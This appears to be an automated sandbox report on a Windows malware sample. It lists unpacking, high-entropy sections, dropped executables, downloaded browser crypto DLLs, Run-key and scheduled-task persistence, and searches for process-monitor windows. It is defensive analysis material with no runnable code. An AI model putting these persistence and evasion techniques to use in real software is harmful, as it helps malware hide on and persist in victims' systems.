Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.fufuc:R;.xixeray:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Unpacked PE file: 5.2.RoamingIJEGHJECFC.exe.340000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hoxupgqj:EW;fapapsdz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hoxupgqj:EW;fapapsdz:EW;.taggant:EW;
Source: C:\Users\userAAKKKEBFCG.exe	Unpacked PE file: 8.2.userAAKKKEBFCG.exe.20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zywzqxul:EW;dpxiwhce:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zywzqxul:EW;dpxiwhce:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 9.2.explorti.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hoxupgqj:EW;fapapsdz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hoxupgqj:EW;fapapsdz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 11.2.explorti.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hoxupgqj:EW;fapapsdz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hoxupgqj:EW;fapapsdz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 15.2.axplong.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zywzqxul:EW;dpxiwhce:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zywzqxul:EW;dpxiwhce:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 16.2.axplong.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zywzqxul:EW;dpxiwhce:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zywzqxul:EW;dpxiwhce:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 19.2.explorti.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hoxupgqj:EW;fapapsdz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hoxupgqj:EW;fapapsdz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 20.2.axplong.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zywzqxul:EW;dpxiwhce:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zywzqxul:EW;dpxiwhce:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 21.2.9fa327eb6c.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.fufuc:R;.xixeray:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Unpacked PE file: 24.2.8e8f4571c5.exe.560000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 25.2.9fa327eb6c.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.fufuc:R;.xixeray:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Unpacked PE file: 28.2.8e8f4571c5.exe.560000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 34.2.9fa327eb6c.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.fufuc:R;.xixeray:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 21.2.9fa327eb6c.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 25.2.9fa327eb6c.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 34.2.9fa327eb6c.exe.400000.0.unpack

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: explorti.exe.5.dr	Static PE information: real checksum: 0x1d6c1b should be: 0x1d643b
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: real checksum: 0x1e81e4 should be: 0x1dcf01
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: real checksum: 0x1d6c1b should be: 0x1d643b
Source: axplong.exe.8.dr	Static PE information: real checksum: 0x1e81e4 should be: 0x1dcf01
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d6c1b should be: 0x1d643b

Source: file.exe	Static PE information: section name: .fufuc
Source: file.exe	Static PE information: section name: .xixeray
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: hoxupgqj
Source: random[1].exe.0.dr	Static PE information: section name: fapapsdz
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name:
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name: .idata
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name:
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name: hoxupgqj
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name: fapapsdz
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name: .taggant
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name:
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name: .idata
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name:
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name: zywzqxul
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name: dpxiwhce
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.0.dr	Static PE information: section name: .fufuc
Source: random[1].exe0.0.dr	Static PE information: section name: .xixeray
Source: explorti.exe.5.dr	Static PE information: section name:
Source: explorti.exe.5.dr	Static PE information: section name: .idata
Source: explorti.exe.5.dr	Static PE information: section name:
Source: explorti.exe.5.dr	Static PE information: section name: hoxupgqj
Source: explorti.exe.5.dr	Static PE information: section name: fapapsdz
Source: explorti.exe.5.dr	Static PE information: section name: .taggant
Source: axplong.exe.8.dr	Static PE information: section name:
Source: axplong.exe.8.dr	Static PE information: section name: .idata
Source: axplong.exe.8.dr	Static PE information: section name:
Source: axplong.exe.8.dr	Static PE information: section name: zywzqxul
Source: axplong.exe.8.dr	Static PE information: section name: dpxiwhce
Source: axplong.exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A9F5 push ecx; ret		0_2_0041AA08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70B536 push ecx; ret		0_2_6C70B549

Source: file.exe	Static PE information: section name: .text entropy: 7.823258879693632
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.983843219488176
Source: random[1].exe.0.dr	Static PE information: section name: hoxupgqj entropy: 7.954054233377559
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name: entropy: 7.983843219488176
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: section name: hoxupgqj entropy: 7.954054233377559
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name: entropy: 7.984877598028932
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: section name: zywzqxul entropy: 7.955124114552355
Source: random[1].exe0.0.dr	Static PE information: section name: .text entropy: 7.823258879693632
Source: explorti.exe.5.dr	Static PE information: section name: entropy: 7.983843219488176
Source: explorti.exe.5.dr	Static PE information: section name: hoxupgqj entropy: 7.954054233377559
Source: axplong.exe.8.dr	Static PE information: section name: entropy: 7.984877598028932
Source: axplong.exe.8.dr	Static PE information: section name: zywzqxul entropy: 7.955124114552355

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\userAAKKKEBFCG.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\userAAKKKEBFCG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e8f4571c5.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9fa327eb6c.exe

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9fa327eb6c.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9fa327eb6c.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e8f4571c5.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e8f4571c5.exe

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
